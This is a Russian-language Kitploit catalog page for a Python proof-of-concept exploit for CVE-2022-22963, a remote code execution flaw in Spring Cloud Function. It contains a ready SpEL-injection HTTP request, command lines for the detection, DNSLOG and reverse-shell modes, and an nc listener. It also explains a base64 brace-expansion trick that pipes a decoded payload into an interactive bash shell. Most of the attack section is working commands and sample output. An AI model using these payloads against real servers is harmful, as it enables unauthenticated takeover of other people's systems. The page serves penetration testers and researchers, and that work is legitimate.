Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-22963 — CVE-2022-22963-poc | Kitploit
Инструменты/GitHubGitHub/xmqaq/cve-2022-22963
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHubxmqaq/cve-2022-22963

CVE-2022-22963

CVE-2022-22963-poc

Репозиторий
11 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-22963

Python License

Инструмент для обнаружения и эксплуатации уязвимости удалённого выполнения кода через инъекцию SpEL-выражений в Spring Cloud Function.

Обзор уязвимости

CVE-2022-22963 — это высококритичная RCE-уязвимость (CVSS 9.8) в функции маршрутизации Spring Cloud Function. Когда приложение включает конечную точку /functionRouter, значение заголовка spring.cloud.function.routing-expression напрямую выполняется как SpEL-выражение (Spring Expression Language). Атакующий может выполнять произвольные системные команды на целевом сервере без аутентификации.

Затронутые версии:

ВеткаЗатронутые версииИсправленная версия
3.1.x< 3.1.73.1.7
3.2.x< 3.2.33.2.3

Принцип уязвимости:

root@kitploit:~
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded

test

После выполнения SpEL сервером exec() возвращает объект Process, Spring выбрасывает исключение при попытке его сериализации, и возвращается HTTP 500. Команда выполняется асинхронно в фоне, результат не отображается в HTTP-ответе, поэтому подтверждать выполнение нужно по боковому каналу, например через DNSLOG или reverse shell.

Возможности

  • Обнаружение уязвимости: вызов характерного ответа через SpEL для определения, уязвима ли цель
  • Проверка через DNSLOG: отправка ping-запроса на DNSLOG-домен, подтверждение выполнения команды по DNS-записи
  • Reverse Shell: использование base64-кодирования для обхода ограничения на пробелы и возврат интерактивной оболочки на указанный адрес

Установка

root@kitploit:~
pip install requests

Python 3.6+, других зависимостей нет.

Использование

root@kitploit:~
python3 CVE-2022-22963.py -u <целевойURL> [опции]

Описание параметров

Обнаружение уязвимости

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -c
root@kitploit:~
2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞!

Проверка через DNSLOG

Используется для подтверждения фактического выполнения команды в отсутствие вывода:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
root@kitploit:~
2024-01-01 12:00:01 - INFO - [+] payload 已发送,请检查 abc123.dnslog.cn 是否收到 DNS 请求(确认实际执行)

Затем на платформе DNSLOG проверяется, пришёл ли DNS-запрос с IP-адреса цели.

Reverse Shell

Запуск прослушивания на машине атакующего:

root@kitploit:~
nc -lvnp 9999

Отправка payload:

root@kitploit:~
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
root@kitploit:~
2024-01-01 12:00:02 - INFO - [+] payload 已发送,请在 192.168.1.100:9999 等待连接(仅支持 Linux/bash 目标)

Примечание: reverse shell зависит от поддержки /dev/tcp в целевой системе и работает только в среде Linux + bash; не поддерживаются цели на Windows или оболочки sh/ash/dash.

Технические детали

Принцип обнаружения

Проверочный запрос отправляет на /functionRouter реальное SpEL-выражение:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec('id')
  • Уязвимость есть: SpEL выполняется, объект Process не может быть сериализован → HTTP 500 + "path":"/functionRouter"
  • Уязвимости нет: заголовок игнорируется, маршрутизация функции завершается ошибкой → код ответа или body не соответствуют указанным признакам.

Процесс кодирования reverse shell

Runtime.exec(String) не проходит через интерпретацию shell — строка команды разбивается на токены по пробелам, поэтому конвейеры и перенаправление не работают. Инструмент обходит это следующим образом:

  1. Кодирует команду reverse shell в base64, избавляясь от специальных символов
  2. Использует brace expansion bash {cmd,arg} вместо пробелов
  3. В итоге конвейеры и перенаправление обрабатывает параметр -c bash на целевой системе
root@kitploit:~
bash -c {echo,BASE64}|{base64,-d}|{bash,-i}
          ↕ Java exec 按空格 tokenize
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
          ↕ bash -c 对参数做 brace expansion
echo BASE64 | base64 -d | bash -i

История изменений

ДатаВерсияОписание
2023-12-28v1.0Выпуск начальной версии
2025-10-09v1.1Рефакторинг кода, улучшены обработка параметров и обработка ошибок
2026-06-29

Отказ от ответственности

Данный инструмент предназначен только для исследований безопасности, авторизованного тестирования на проникновение и образовательных целей.

Используя этот инструмент, вы соглашаетесь с тем, что:

  1. Будете использовать его только на целевых системах, на которые получено явное письменное разрешение
  2. Будете соблюдать все применимые законы и нормативные акты вашего региона
  3. Несёте полную ответственность за все последствия использования этого инструмента

Автор не несёт ответственности за любое неавторизованное использование и его последствия.

Скачать инструмент
ПараметрОписаниеПо умолчанию
-u, --urlURL цели (обязательно)—
-c, --checkПроверить наличие уязвимости—
-m, --modeРежим эксплуатации: dnslog или shell—
-d, --dnsDNSLOG-домен (используется с -m dnslog)—
-i, --ipIP получателя reverse shell (используется с -m shell)—
-p, --portПорт для reverse shell9999
-t, --timeoutТаймаут запроса (секунды)5
v1.2
Исправлены ложные срабатывания обнаружения, склейка пути context path и смысловая ошибка возвращаемого значения эксплойта